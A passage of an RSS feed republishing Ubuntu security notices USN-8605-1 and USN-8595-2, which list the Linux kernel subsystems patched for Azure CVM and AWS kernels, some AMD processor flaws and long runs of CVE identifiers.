CVE-2026-43493, CVE-2026-43501, CVE-2026-45898, CVE-2026-45988,
CVE-2026-46039, CVE-2026-46043, CVE-2026-46084, CVE-2026-46115,
CVE-2026-46119, CVE-2026-46135, CVE-2026-46185, CVE-2026-46195,
CVE-2026-46243, CVE-2026-46244, CVE-2026-46266, CVE-2026-46289,
CVE-2026-46290, CVE-2026-46316, CVE-2026-46317, CVE-2026-46325,
CVE-2026-53277, CVE-2026-64018, CVE-2026-64034)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8605-1: Linux kernel (Azure CVM) vulnerabilities]]></title>
<description><![CDATA[Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - Foo-over-UDP (FOU);
  - ARM64 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic AP...]]></description>
<link>https://tsecurity.de/de/3691500/unix-server/usn-8605-1-linux-kernel-azure-cvm-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691500/unix-server/usn-8605-1-linux-kernel-azure-cvm-vulnerabilities/</guid>
<pubDate>Fri, 24 Jul 2026 14:17:44 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - Foo-over-UDP (FOU);
  - ARM64 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Drivers core;
  - Null block device driver;
  - Bluetooth drivers;
  - Counter interface drivers;
  - DMA engine subsystem;
  - DPLL subsystem;
  - GPIO subsystem;
  - GPU drivers;
  - I2C subsystem;
  - IIO ADC drivers;
  - IIO subsystem;
  - InfiniBand drivers;
  - On-Chip Interconnect management framework;
  - IOMMU subsystem;
  - IRQ chip drivers;
  - Modular ISDN driver;
  - LED subsystem;
  - Multiple devices driver;
  - UACCE accelerator framework;
  - MMC subsystem;
  - Ethernet bonding driver;
  - Network drivers;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PHY drivers;
  - x86 platform drivers;
  - i.MX PM domains;
  - SCSI subsystem;
  - SLIMbus drivers;
  - SPI subsystem;
  - TTY drivers;
  - USB Host Controller drivers;
  - USB over IP driver;
  - W1 Dallas's 1-wire bus driver;
  - Xen hypervisor drivers;
  - BTRFS file system;
  - File systems infrastructure;
  - EFI Variable file system;
  - Ext4 file system;
  - FUSE (File system in Userspace);
  - Network file systems library;
  - Network file system (NFS) client;
  - Network file system (NFS) server daemon;
  - SMB network file system;
  - Memory Management;
  - Kernel thread helper (kthread);
  - Memory management;
  - Scheduler infrastructure;
  - Tracing infrastructure;
  - IPv6 networking;
  - Netfilter;
  - NFC subsystem;
  - io_uring subsystem;
  - Perf events;
  - Kernel exit() syscall;
  - Hibernation control;
  - Timer subsystem;
  - BPF subsystem;
  - Floating proportions library;
  - Scatterlist API;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAN network layer;
  - Ceph Core library;
  - Networking core;
  - IPv4 networking;
  - L2TP protocol;
  - MAC80211 subsystem;
  - Multipath TCP;
  - NET/ROM layer;
  - RxRPC session sockets;
  - Network traffic control;
  - SCTP protocol;
  - SMC sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - ALSA AC97 driver;
  - Creative Sound Blaster X-Fi driver;
  - Texas InstrumentS Audio (ASoC/HDA) drivers;
  - USB sound devices;
(CVE-2025-71158, CVE-2025-71160, CVE-2025-71161, CVE-2025-71162,
CVE-2025-71163, CVE-2025-71180, CVE-2025-71182, CVE-2025-71183,
CVE-2025-71184, CVE-2025-71185, CVE-2025-71186, CVE-2025-71187,
CVE-2025-71188, CVE-2025-71189, CVE-2025-71190, CVE-2025-71191,
CVE-2025-71192, CVE-2025-71193, CVE-2025-71194, CVE-2025-71195,
CVE-2025-71196, CVE-2025-71197, CVE-2025-71198, CVE-2025-71199,
CVE-2025-71200, CVE-2025-71201, CVE-2026-22976, CVE-2026-22977,
CVE-2026-22978, CVE-2026-22979, CVE-2026-22980, CVE-2026-22981,
CVE-2026-22982, CVE-2026-22984, CVE-2026-22985, CVE-2026-22986,
CVE-2026-22987, CVE-2026-22989, CVE-2026-22990, CVE-2026-22991,
CVE-2026-22992, CVE-2026-22993, CVE-2026-22994, CVE-2026-22996,
CVE-2026-22997, CVE-2026-22998, CVE-2026-22999, CVE-2026-23000,
CVE-2026-23001, CVE-2026-23002, CVE-2026-23003, CVE-2026-23004,
CVE-2026-23005, CVE-2026-23006, CVE-2026-23007, CVE-2026-23008,
CVE-2026-23009, CVE-2026-23010, CVE-2026-23011, CVE-2026-23012,
CVE-2026-23013, CVE-2026-23014, CVE-2026-23015, CVE-2026-23017,
CVE-2026-23018, CVE-2026-23019, CVE-2026-23020, CVE-2026-23021,
CVE-2026-23022, CVE-2026-23023, CVE-2026-23024, CVE-2026-23025,
CVE-2026-23026, CVE-2026-23030, CVE-2026-23031, CVE-2026-23032,
CVE-2026-23033, CVE-2026-23034, CVE-2026-23035, CVE-2026-23036,
CVE-2026-23037, CVE-2026-23038, CVE-2026-23042, CVE-2026-23044,
CVE-2026-23045, CVE-2026-23046, CVE-2026-23047, CVE-2026-23049,
CVE-2026-23050, CVE-2026-23051, CVE-2026-23052, CVE-2026-23053,
CVE-2026-23054, CVE-2026-23055, CVE-2026-23056, CVE-2026-23057,
CVE-2026-23058, CVE-2026-23059, CVE-2026-23061, CVE-2026-23062,
CVE-2026-23063, CVE-2026-23064, CVE-2026-23065, CVE-2026-23066,
CVE-2026-23067, CVE-2026-23068, CVE-2026-23069, CVE-2026-23070,
CVE-2026-23071, CVE-2026-23072, CVE-2026-23073, CVE-2026-23075,
CVE-2026-23076, CVE-2026-23077, CVE-2026-23078, CVE-2026-23080,
CVE-2026-23081, CVE-2026-23083, CVE-2026-23084, CVE-2026-23085,
CVE-2026-23086, CVE-2026-23087, CVE-2026-23088, CVE-2026-23089,
CVE-2026-23090, CVE-2026-23092, CVE-2026-23093, CVE-2026-23094,
CVE-2026-23095, CVE-2026-23096, CVE-2026-23097, CVE-2026-23098,
CVE-2026-23099, CVE-2026-23100, CVE-2026-23101, CVE-2026-23102,
CVE-2026-23103, CVE-2026-23104, CVE-2026-23105, CVE-2026-23106,
CVE-2026-23107, CVE-2026-23108, CVE-2026-23109, CVE-2026-23110,
CVE-2026-23113, CVE-2026-23114, CVE-2026-23115, CVE-2026-23116,
CVE-2026-23118, CVE-2026-23119, CVE-2026-23120, CVE-2026-23121,
CVE-2026-23122, CVE-2026-23123, CVE-2026-23124, CVE-2026-23125,
CVE-2026-23126, CVE-2026-23128, CVE-2026-23129, CVE-2026-23130,
CVE-2026-23131, CVE-2026-23133, CVE-2026-23135, CVE-2026-23136,
CVE-2026-23137, CVE-2026-23138, CVE-2026-23139, CVE-2026-23140,
CVE-2026-23141, CVE-2026-23142, CVE-2026-23143, CVE-2026-23144,
CVE-2026-23145, CVE-2026-23146, CVE-2026-23147, CVE-2026-23148,
CVE-2026-23150, CVE-2026-23151, CVE-2026-23152, CVE-2026-23154,
CVE-2026-23156, CVE-2026-23157, CVE-2026-23158, CVE-2026-23159,
CVE-2026-23160, CVE-2026-23161, CVE-2026-23162, CVE-2026-23163,
CVE-2026-23164, CVE-2026-23165, CVE-2026-23166, CVE-2026-23167,
CVE-2026-23168, CVE-2026-23169, CVE-2026-23170, CVE-2026-23171,
CVE-2026-23172, CVE-2026-23173, CVE-2026-23212, CVE-2026-23272,
CVE-2026-23278, CVE-2026-23392, CVE-2026-23427, CVE-2026-23428,
CVE-2026-23450, CVE-2026-23455, CVE-2026-31402, CVE-2026-31418,
CVE-2026-31436, CVE-2026-31448, CVE-2026-31478, CVE-2026-31607,
CVE-2026-31635, CVE-2026-31637, CVE-2026-31649, CVE-2026-31657,
CVE-2026-31659, CVE-2026-31668, CVE-2026-31669, CVE-2026-31682,
CVE-2026-31685, CVE-2026-31718, CVE-2026-43011, CVE-2026-43037,
CVE-2026-43038, CVE-2026-43071, CVE-2026-43083, CVE-2026-43114,
CVE-2026-43117, CVE-2026-43125, CVE-2026-43185, CVE-2026-43186,
CVE-2026-43197, CVE-2026-43304, CVE-2026-43341, CVE-2026-43376,
CVE-2026-43378, CVE-2026-43383, CVE-2026-43384, CVE-2026-43402,
CVE-2026-43406, CVE-2026-43407, CVE-2026-43414, CVE-2026-43493,
CVE-2026-43501, CVE-2026-45898, CVE-2026-45988, CVE-2026-46039,
CVE-2026-46043, CVE-2026-46084, CVE-2026-46115, CVE-2026-46119,
CVE-2026-46135, CVE-2026-46185, CVE-2026-46195, CVE-2026-46243,
CVE-2026-46244, CVE-2026-46266, CVE-2026-46289, CVE-2026-46290,
CVE-2026-46316, CVE-2026-46317, CVE-2026-46325, CVE-2026-53277,
CVE-2026-64018, CVE-2026-64034)]]></content:encoded>
</item>
<item>
<title><![CDATA[USN-8595-2: Linux kernel (AWS) vulnerabilities]]></title>
<description><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shar...]]></description>
<link>https://tsecurity.de/de/3691499/unix-server/usn-8595-2-linux-kernel-aws-vulnerabilities/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3691499/unix-server/usn-8595-2-linux-kernel-aws-vulnerabilities/</guid>
<pubDate>Fri, 24 Jul 2026 14:17:43 +0200</pubDate>
<category>🐧 Unix Server</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[It was discovered that some AMD processors did not properly clear data in
the floating point divider unit during speculative execution. A local
attacker could use this to expose sensitive information. (CVE-2025-54505)

It was discovered that some AMD Zen 2 processors did not properly isolate
shared resources in the operation cache. A local attacker could possibly
use this issue to corrupt instructions executed at a higher privilege
level, resulting in privilege escalation. (CVE-2025-54518)

It was discovered that some AMD Zen 5 processors supporting RDSEED
instruction did not properly handle entropy, potentially resulting in the
consumption of insufficiently random values. A local attacker could
possibly use this issue to influence the values returned by the RDSEED
instruction causing loss of confidentiality and integrity. (CVE-2025-62626)

Several security issues were discovered in the Linux kernel.
An attacker could possibly use these to compromise the system.
This update corrects flaws in the following subsystems:
  - ARM64 architecture;
  - RISC-V architecture;
  - S390 architecture;
  - x86 architecture;
  - Block layer subsystem;
  - Cryptographic API;
  - Compute Acceleration Framework;
  - ACPI drivers;
  - Serial ATA and Parallel ATA drivers;
  - Drivers core;
  - Power management core;
  - DRBD Distributed Replicated Block Device drivers;
  - Rados block device (RBD) driver;
  - Compressed RAM block device driver;
  - Bluetooth drivers;
  - Bus devices;
  - Character device driver;
  - Clock framework and drivers;
  - Data acquisition framework and drivers;
  - Counter interface drivers;
  - CPU frequency scaling framework;
  - Hardware crypto device drivers;
  - CXL (Compute Express Link) drivers;
  - DMA engine subsystem;
  - EDAC drivers;
  - EFI core;
  - GPU drivers;
  - Greybus drivers;
  - HID subsystem;
  - Hardware monitoring drivers;
  - I2C subsystem;
  - IIO ADC drivers;
  - IIO subsystem;
  - InfiniBand drivers;
  - Input Device (Miscellaneous) drivers;
  - IRQ chip drivers;
  - LED subsystem;
  - Mailbox framework;
  - Multiple devices driver;
  - Media drivers;
  - MediaTek SMI driver;
  - NVIDIA Tegra memory controller driver;
  - Fastrpc Driver;
  - IBM Advanced System Management driver;
  - MMC subsystem;
  - MTD block device drivers;
  - Network drivers;
  - Ethernet bonding driver;
  - Mellanox network drivers;
  - Microsoft Azure Network Adapter (MANA) driver;
  - STMicroelectronics network drivers;
  - Ethernet team driver;
  - MediaTek network drivers;
  - Near Field Communication (NFC) drivers;
  - NTB driver;
  - NVDIMM (Non-Volatile Memory Device) drivers;
  - NVME drivers;
  - Device tree and open firmware driver;
  - PCI subsystem;
  - Pin controllers subsystem;
  - x86 platform drivers;
  - Broadcom BCM2835 power domain driver;
  - Generic PM domains;
  - i.MX PM domains;
  - Remote Processor subsystem;
  - S/390 drivers;
  - SCSI subsystem;
  - SLIMbus drivers;
  - Freescale SoC drivers;
  - Microchip PolarFire SoC system controller driver;
  - SPI subsystem;
  - Media staging drivers;
  - Realtek RTL8723BS SDIO drivers;
  - SM750 framebuffer staging driver;
  - TCM subsystem;
  - Thermal drivers;
  - TTY drivers;
  - UFS subsystem;
  - Cadence USB3 driver;
  - USB Device Class drivers;
  - ULPI bus;
  - USB core drivers;
  - DesignWare USB2 driver;
  - USB Gadget drivers;
  - USB Host Controller drivers;
  - Mustek MDC800 USB digital camera driver;
  - USB YUREX driver;
  - Renesas USBHS Controller drivers;
  - USB Type-C Connector System Software Interface driver;
  - VFIO drivers;
  - Framebuffer layer;
  - TSM TDX Guest driver;
  - Xen hypervisor drivers;
  - File systems infrastructure;
  - BTRFS file system;
  - Ceph distributed file system;
  - EROFS file system;
  - Ext4 file system;
  - F2FS file system;
  - FUSE (File system in Userspace);
  - GFS2 file system;
  - HFS+ file system;
  - Journaling layer for block devices (JBD2);
  - Network file systems library;
  - Network file system (NFS) server daemon;
  - NILFS2 file system;
  - File system notification infrastructure;
  - NTFS3 file system;
  - OCFS2 file system;
  - Diskquota system;
  - SMB network file system;
  - SquashFS file system;
  - Tracing file system;
  - UDF file system;
  - XFS file system;
  - Kernel CPU control infrastructure;
  - QorIQ DPAA2 FSL-MC bus driver;
  - Memory Management;
  - Integrity Measurement Architecture(IMA) framework;
  - KVM subsystem;
  - Memory management;
  - Networking core;
  - padata parallel execution mechanism;
  - PPP protocol drivers and compressors;
  - Linux Security Modules (LSM) Framework;
  - Tracing infrastructure;
  - Network traffic control;
  - Distributed Switch Architecture;
  - IPv4 networking;
  - IP tunnels definitions;
  - MAC80211 subsystem;
  - Netfilter;
  - User-space API (UAPI);
  - io_uring subsystem;
  - Audit subsystem;
  - BPF subsystem;
  - Control group (cgroup);
  - Perf events;
  - Kernel exit() syscall;
  - Kernel fork() syscall;
  - Kernel futex primitives;
  - KProbes tracing;
  - Locking primitives;
  - Kernel module support;
  - Padata parallel execution mechanism;
  - Cryptographic library;
  - Heterogeneous memory management;
  - KASAN memory debugging framework;
  - Asynchronous Transfer Mode (ATM) subsystem;
  - B.A.T.M.A.N. meshing protocol;
  - Bluetooth subsystem;
  - Ethernet bridge;
  - CAIF protocol;
  - CAN network layer;
  - Ceph Core library;
  - IPv6 networking;
  - XFRM subsystem;
  - L2TP protocol;
  - Management Component Transport Protocol (MCTP);
  - Multipath TCP;
  - NCSI (Network Controller Sideband Interface) driver;
  - NFC subsystem;
  - Open vSwitch;
  - Packet sockets;
  - Qualcomm IPC Router (QRTR);
  - RDS protocol;
  - RF switch subsystem;
  - Rose network layer;
  - RxRPC session sockets;
  - SCTP protocol;
  - SMC sockets;
  - Stream parser;
  - Sun RPC protocol;
  - TIPC protocol;
  - TLS protocol;
  - Unix domain sockets;
  - VMware vSockets driver;
  - Wireless networking;
  - X.25 network layer;
  - eXpress Data Path;
  - Landlock security;
  - ALSA framework;
  - Generic PCM loopback sound driver;
  - FireWire sound drivers;
  - HD-audio driver;
  - Creative Sound Blaster X-Fi driver;
  - AMD SoC Alsa drivers;
  - QCOM ASoC drivers;
  - Renesas ASoC drivers;
  - Samsung ASoC drivers;
  - SoC audio core drivers;
  - SOF drivers;
  - STI ASoC drivers;
  - USB sound devices;
  - Objtool;
(CVE-2025-21709, CVE-2025-22116, CVE-2025-38426, CVE-2025-39764,
CVE-2025-40135, CVE-2025-40150, CVE-2025-68175, CVE-2025-68239,
CVE-2025-68334, CVE-2025-68736, CVE-2025-71152, CVE-2025-71161,
CVE-2025-71203, CVE-2025-71221, CVE-2025-71269, CVE-2025-71287,
CVE-2025-71288, CVE-2026-22981, CVE-2026-22985, CVE-2026-22993,
CVE-2026-23004, CVE-2026-23066, CVE-2026-23104, CVE-2026-23118,
CVE-2026-23138, CVE-2026-23154, CVE-2026-23157, CVE-2026-23171,
CVE-2026-23207, CVE-2026-23226, CVE-2026-23227, CVE-2026-23244,
CVE-2026-23245, CVE-2026-23246, CVE-2026-23253, CVE-2026-23255,
CVE-2026-23270, CVE-2026-23271, CVE-2026-23276, CVE-2026-23277,
CVE-2026-23279, CVE-2026-23281, CVE-2026-23284, CVE-2026-23285,
CVE-2026-23286, CVE-2026-23287, CVE-2026-23289, CVE-2026-23290,
CVE-2026-23291, CVE-2026-23292, CVE-2026-23293, CVE-2026-23296,
CVE-2026-23298, CVE-2026-23300, CVE-2026-23302, CVE-2026-23303,
CVE-2026-23304, CVE-2026-23306, CVE-2026-23307, CVE-2026-23308,
CVE-2026-23310, CVE-2026-23312, CVE-2026-23313, CVE-2026-23315,
CVE-2026-23317, CVE-2026-23318, CVE-2026-23319, CVE-2026-23321,
CVE-2026-23324, CVE-2026-23325, CVE-2026-23330, CVE-2026-23334,
CVE-2026-23335, CVE-2026-23336, CVE-2026-23339, CVE-2026-23340,
CVE-2026-23343, CVE-2026-23347, CVE-2026-23352, CVE-2026-23356,
CVE-2026-23357, CVE-2026-23359, CVE-2026-23360, CVE-2026-23361,
CVE-2026-23362, CVE-2026-23363, CVE-2026-23364, CVE-2026-23365,
CVE-2026-23367, CVE-2026-23368, CVE-2026-23369, CVE-2026-23370,
CVE-2026-23372, CVE-2026-23374, CVE-2026-23375, CVE-2026-23378,
CVE-2026-23379, CVE-2026-23381, CVE-2026-23382, CVE-2026-23383,
CVE-2026-23386, CVE-2026-23387, CVE-2026-23388, CVE-2026-23389,
CVE-2026-23391, CVE-2026-23395, CVE-2026-23396, CVE-2026-23397,
CVE-2026-23398, CVE-2026-23399, CVE-2026-23401, CVE-2026-23412,
CVE-2026-23413, CVE-2026-23414, CVE-2026-23418, CVE-2026-23419,
CVE-2026-23420, CVE-2026-23426, CVE-2026-23434, CVE-2026-23438,
CVE-2026-23439, CVE-2026-23440, CVE-2026-23441, CVE-2026-23442,
CVE-2026-23444, CVE-2026-23446, CVE-2026-23447, CVE-2026-23448,
CVE-2026-23449, CVE-2026-23452, CVE-2026-23454, CVE-2026-23456,
CVE-2026-23457, CVE-2026-23458, CVE-2026-23460, CVE-2026-23461,
CVE-2026-23462, CVE-2026-23463, CVE-2026-23464, CVE-2026-23465,
CVE-2026-23468, CVE-2026-23470, CVE-2026-23474, CVE-2026-23475,
CVE-2026-31389, CVE-2026-31391, CVE-2026-31392, CVE-2026-31393,
CVE-2026-31394, CVE-2026-31396, CVE-2026-31399, CVE-2026-31400,
CVE-2026-31403, CVE-2026-31405, CVE-2026-31407, CVE-2026-31408,
CVE-2026-31409, CVE-2026-31412, CVE-2026-31413, CVE-2026-31414,
CVE-2026-31415, CVE-2026-31416, CVE-2026-31417, CVE-2026-31421,
CVE-2026-31422, CVE-2026-31423, CVE-2026-31424, CVE-2026-31425,
CVE-2026-31426, CVE-2026-31427, CVE-2026-31428, CVE-2026-31429,
CVE-2026-31430, CVE-2026-31432, CVE-2026-31433, CVE-2026-31434,
CVE-2026-31438, CVE-2026-31439, CVE-2026-31440, CVE-2026-31441,
CVE-2026-31446, CVE-2026-31447, CVE-2026-31449, CVE-2026-31450,
CVE-2026-31451, CVE-2026-31452, CVE-2026-31453, CVE-2026-31454,
CVE-2026-31455, CVE-2026-31458, CVE-2026-31464, CVE-2026-31466,
CVE-2026-31467, CVE-2026-31469, CVE-2026-31470, CVE-2026-31473,
CVE-2026-31474, CVE-2026-31476, CVE-2026-31477, CVE-2026-31480,
CVE-2026-31482, CVE-2026-31483, CVE-2026-31485, CVE-2026-31487,
CVE-2026-31488, CVE-2026-31489, CVE-2026-31492, CVE-2026-31494,
CVE-2026-31495, CVE-2026-31496, CVE-2026-31497, CVE-2026-31498,
CVE-2026-31499, CVE-2026-31500, CVE-2026-31502, CVE-2026-31503,
CVE-2026-31505, CVE-2026-31507, CVE-2026-31508, CVE-2026-31509,
CVE-2026-31510, CVE-2026-31511, CVE-2026-31512, CVE-2026-31515,
CVE-2026-31516, CVE-2026-31518, CVE-2026-31519, CVE-2026-31520,
CVE-2026-31521, CVE-2026-31522, CVE-2026-31523, CVE-2026-31524,
CVE-2026-31525, CVE-2026-31527, CVE-2026-31528, CVE-2026-31530,
CVE-2026-31532, CVE-2026-31540, CVE-2026-31542, CVE-2026-31545,
CVE-2026-31546, CVE-2026-31548, CVE-2026-31549, CVE-2026-31550,
CVE-2026-31551, CVE-2026-31552, CVE-2026-31554, CVE-2026-31555,
CVE-2026-31556, CVE-2026-31557, CVE-2026-31563, CVE-2026-31565,
CVE-2026-31566, CVE-2026-31570, CVE-2026-31575, CVE-2026-31576,
CVE-2026-31577, CVE-2026-31578, CVE-2026-31580, CVE-2026-31581,
CVE-2026-31582, CVE-2026-31583, CVE-2026-31584, CVE-2026-31585,
CVE-2026-31586, CVE-2026-31587, CVE-2026-31588, CVE-2026-31590,
CVE-2026-31594, CVE-2026-31595, CVE-2026-31596, CVE-2026-31597,
CVE-2026-31598, CVE-2026-31599, CVE-2026-31602, CVE-2026-31603,
CVE-2026-31604, CVE-2026-31605, CVE-2026-31606, CVE-2026-31610,
CVE-2026-31611, CVE-2026-31612, CVE-2026-31613, CVE-2026-31615,
CVE-2026-31616, CVE-2026-31617, CVE-2026-31618, CVE-2026-31619,
CVE-2026-31622, CVE-2026-31623, CVE-2026-31624, CVE-2026-31625,
CVE-2026-31626, CVE-2026-31627, CVE-2026-31628, CVE-2026-31629,
CVE-2026-31634, CVE-2026-31638, CVE-2026-31639, CVE-2026-31642,
CVE-2026-31645, CVE-2026-31646, CVE-2026-31648, CVE-2026-31651,
CVE-2026-31655, CVE-2026-31656, CVE-2026-31658, CVE-2026-31660,
CVE-2026-31661, CVE-2026-31662, CVE-2026-31664, CVE-2026-31665,
CVE-2026-31667, CVE-2026-31670, CVE-2026-31671, CVE-2026-31672,
CVE-2026-31673, CVE-2026-31674, CVE-2026-31675, CVE-2026-31677,
CVE-2026-31678, CVE-2026-31679, CVE-2026-31680, CVE-2026-31681,
CVE-2026-31683, CVE-2026-31684, CVE-2026-31686, CVE-2026-31689,
CVE-2026-31694, CVE-2026-31695, CVE-2026-31696, CVE-2026-31697,
CVE-2026-31698, CVE-2026-31699, CVE-2026-31700, CVE-2026-31701,
CVE-2026-31702, CVE-2026-31704, CVE-2026-31705, CVE-2026-31706,
CVE-2026-31707, CVE-2026-31708, CVE-2026-31709, CVE-2026-31711,
CVE-2026-31712, CVE-2026-31714, CVE-2026-31715, CVE-2026-31716,
CVE-2026-31720, CVE-2026-31721, CVE-2026-31722, CVE-2026-31723,
CVE-2026-31724, CVE-2026-31725, CVE-2026-31726, CVE-2026-31728,
CVE-2026-31729, CVE-2026-31730, CVE-2026-31731, CVE-2026-31737,
CVE-2026-31738, CVE-2026-31740, CVE-2026-31741, CVE-2026-31747,
CVE-2026-31748, CVE-2026-31749, CVE-2026-31751, CVE-2026-31752,
CVE-2026-31754, CVE-2026-31755, CVE-2026-31756, CVE-2026-31758,
CVE-2026-31759, CVE-2026-31761, CVE-2026-31762, CVE-2026-31763,
CVE-2026-31767, CVE-2026-31768, CVE-2026-31770, CVE-2026-31772,
CVE-2026-31773, CVE-2026-31778, CVE-2026-31779, CVE-2026-31780,
CVE-2026-31781, CVE-2026-31788, CVE-2026-43007, CVE-2026-43012,
CVE-2026-43013, CVE-2026-43014, CVE-2026-43015, CVE-2026-43016,
CVE-2026-43017, CVE-2026-43018, CVE-2026-43019, CVE-2026-43020,
CVE-2026-43023, CVE-2026-43024, CVE-2026-43025, CVE-2026-43026,
CVE-2026-43027, CVE-2026-43028, CVE-2026-43030, CVE-2026-43032,
CVE-2026-43035, CVE-2026-43036, CVE-2026-43040, CVE-2026-43041,
CVE-2026-43043, CVE-2026-43044, CVE-2026-43046, CVE-2026-43047,
CVE-2026-43049, CVE-2026-43050, CVE-2026-43051, CVE-2026-43052,
CVE-2026-43054, CVE-2026-43056, CVE-2026-43057, CVE-2026-43058,
CVE-2026-43059, CVE-2026-43060, CVE-2026-43061, CVE-2026-43062,
CVE-2026-43064, CVE-2026-43065, CVE-2026-43066, CVE-2026-43068,
CVE-2026-43069, CVE-2026-43072, CVE-2026-43073, CVE-2026-43074,
CVE-2026-43075, CVE-2026-43076, CVE-2026-43079, CVE-2026-43080,
CVE-2026-43081, CVE-2026-43082, CVE-2026-43084, CVE-2026-43085,
CVE-2026-43086, CVE-2026-43088, CVE-2026-43089, CVE-2026-43091,
CVE-2026-43092, CVE-2026-43093, CVE-2026-43094, CVE-2026-43098,
CVE-2026-43099, CVE-2026-43103, CVE-2026-43104, CVE-2026-43105,
CVE-2026-43107, CVE-2026-43109, CVE-2026-43110, CVE-2026-43111,
CVE-2026-43112, CVE-2026-43113, CVE-2026-43119, CVE-2026-43120,
CVE-2026-43129, CVE-2026-43162, CVE-2026-43245, CVE-2026-43252,
CVE-2026-43265, CVE-2026-43281, CVE-2026-43324, CVE-2026-43327,
CVE-2026-43328, CVE-2026-43329, CVE-2026-43330, CVE-2026-43332,
CVE-2026-43333, CVE-2026-43334, CVE-2026-43336, CVE-2026-43338,
CVE-2026-43339, CVE-2026-43340, CVE-2026-43342, CVE-2026-43343,
CVE-2026-43345, CVE-2026-43350, CVE-2026-43355, CVE-2026-43357,
CVE-2026-43359, CVE-2026-43360, CVE-2026-43361, CVE-2026-43362,
CVE-2026-43363, CVE-2026-43365, CVE-2026-43366, CVE-2026-43368,
CVE-2026-43370, CVE-2026-43371, CVE-2026-43372, CVE-2026-43373,
CVE-2026-43377, CVE-2026-43380, CVE-2026-43381, CVE-2026-43382,
CVE-2026-43386, CVE-2026-43387, CVE-2026-43395, CVE-2026-43397,
CVE-2026-43405, CVE-2026-43408, CVE-2026-43409, CVE-2026-43411,
CVE-2026-43412, CVE-2026-43413, CVE-2026-43415, CVE-2026-43419,
CVE-2026-43420, CVE-2026-43421, CVE-2026-43424, CVE-2026-43425,
CVE-2026-43426, CVE-2026-43427, CVE-2026-43428, CVE-2026-43429,
CVE-2026-43430, CVE-2026-43432, CVE-2026-43436, CVE-2026-43437,
CVE-2026-43439, CVE-2026-43441, CVE-2026-43445, CVE-2026-43448,
CVE-2026-43449, CVE-2026-43450, CVE-2026-43451, CVE-2026-43452,
CVE-2026-43453, CVE-2026-43455, CVE-2026-43456, CVE-2026-43457,
CVE-2026-43458, CVE-2026-43459, CVE-2026-43466, CVE-2026-43467,
CVE-2026-43468, CVE-2026-43469, CVE-2026-43471, CVE-2026-43472,
CVE-2026-43473, CVE-2026-43475, CVE-2026-43476, CVE-2026-43480,
CVE-2026-43483, CVE-2026-43484, CVE-2026-43488, CVE-2026-43490,
CVE-2026-43491, CVE-2026-43492, CVE-2026-43495, CVE-2026-43496,
CVE-2026-43497, CVE-2026-43499, CVE-2026-43502, CVE-2026-45834,
CVE-2026-45835, CVE-2026-45836, CVE-2026-45838, CVE-2026-45839,
CVE-2026-45840, CVE-2026-45841, CVE-2026-45842, CVE-2026-45843,
CVE-2026-45844, CVE-2026-45845, CVE-2026-45846, CVE-2026-45855,
CVE-2026-45858, CVE-2026-45899, CVE-2026-45911, CVE-2026-45920,
CVE-2026-45924, CVE-2026-45942, CVE-2026-45943, CVE-2026-45956,
CVE-2026-45958, CVE-2026-45985, CVE-2026-45986, CVE-2026-45987,
CVE-2026-45989, CVE-2026-45991, CVE-2026-45994, CVE-2026-45996,
CVE-2026-45997, CVE-2026-45999, CVE-2026-46002, CVE-2026-46003,
CVE-2026-46004, CVE-2026-46005, CVE-2026-46006, CVE-2026-46007,
CVE-2026-46009, CVE-2026-46011, CVE-2026-46012, CVE-2026-46015,
CVE-2026-46016, CVE-2026-46018, CVE-2026-46019, CVE-2026-46021,
CVE-2026-46022, CVE-2026-46023, CVE-2026-46024, CVE-2026-46026,
CVE-2026-46027, CVE-2026-46031, CVE-2026-46033, CVE-2026-46037,
CVE-2026-46038, CVE-2026-46040, CVE-2026-46041, CVE-2026-46044,
CVE-2026-46046, CVE-2026-46047, CVE-2026-46049, CVE-2026-46050,
CVE-2026-46051, CVE-2026-46052, CVE-2026-46053, CVE-2026-46056,
CVE-2026-46058, CVE-2026-46061, CVE-2026-46062, CVE-2026-46063,
CVE-2026-46064, CVE-2026-46065, CVE-2026-46068, CVE-2026-46069,
CVE-2026-46070, CVE-2026-46072, CVE-2026-46073, CVE-2026-46075,
CVE-2026-46076, CVE-2026-46077, CVE-2026-46078, CVE-2026-46079,
CVE-2026-46080, CVE-2026-46082, CVE-2026-46083, CVE-2026-46084,
CVE-2026-46086, CVE-2026-46088, CVE-2026-46089, CVE-2026-46090,
CVE-2026-46091, CVE-2026-46092, CVE-2026-46094, CVE-2026-46098,
CVE-2026-46099, CVE-2026-46101, CVE-2026-46102, CVE-2026-46103,
CVE-2026-46106, CVE-2026-46107, CVE-2026-46108, CVE-2026-46110,
CVE-2026-46111, CVE-2026-46112, CVE-2026-46113, CVE-2026-46114,
CVE-2026-46116, CVE-2026-46117, CVE-2026-46120, CVE-2026-46121,
CVE-2026-46122, CVE-2026-46123, CVE-2026-46124, CVE-2026-46125,
CVE-2026-46126, CVE-2026-46127, CVE-2026-46128, CVE-2026-46129,
CVE-2026-46131, CVE-2026-46132, CVE-2026-46133, CVE-2026-46136,
CVE-2026-46137, CVE-2026-46138, CVE-2026-46139, CVE-2026-46142,
CVE-2026-46143, CVE-2026-46144, CVE-2026-46145, CVE-2026-46146,
CVE-2026-46149, CVE-2026-46150, CVE-2026-46151, CVE-2026-46152,
CVE-2026-46157, CVE-2026-46159, CVE-2026-46160, CVE-2026-46161,
CVE-2026-46163, CVE-2026-46164, CVE-2026-46167, CVE-2026-46168,
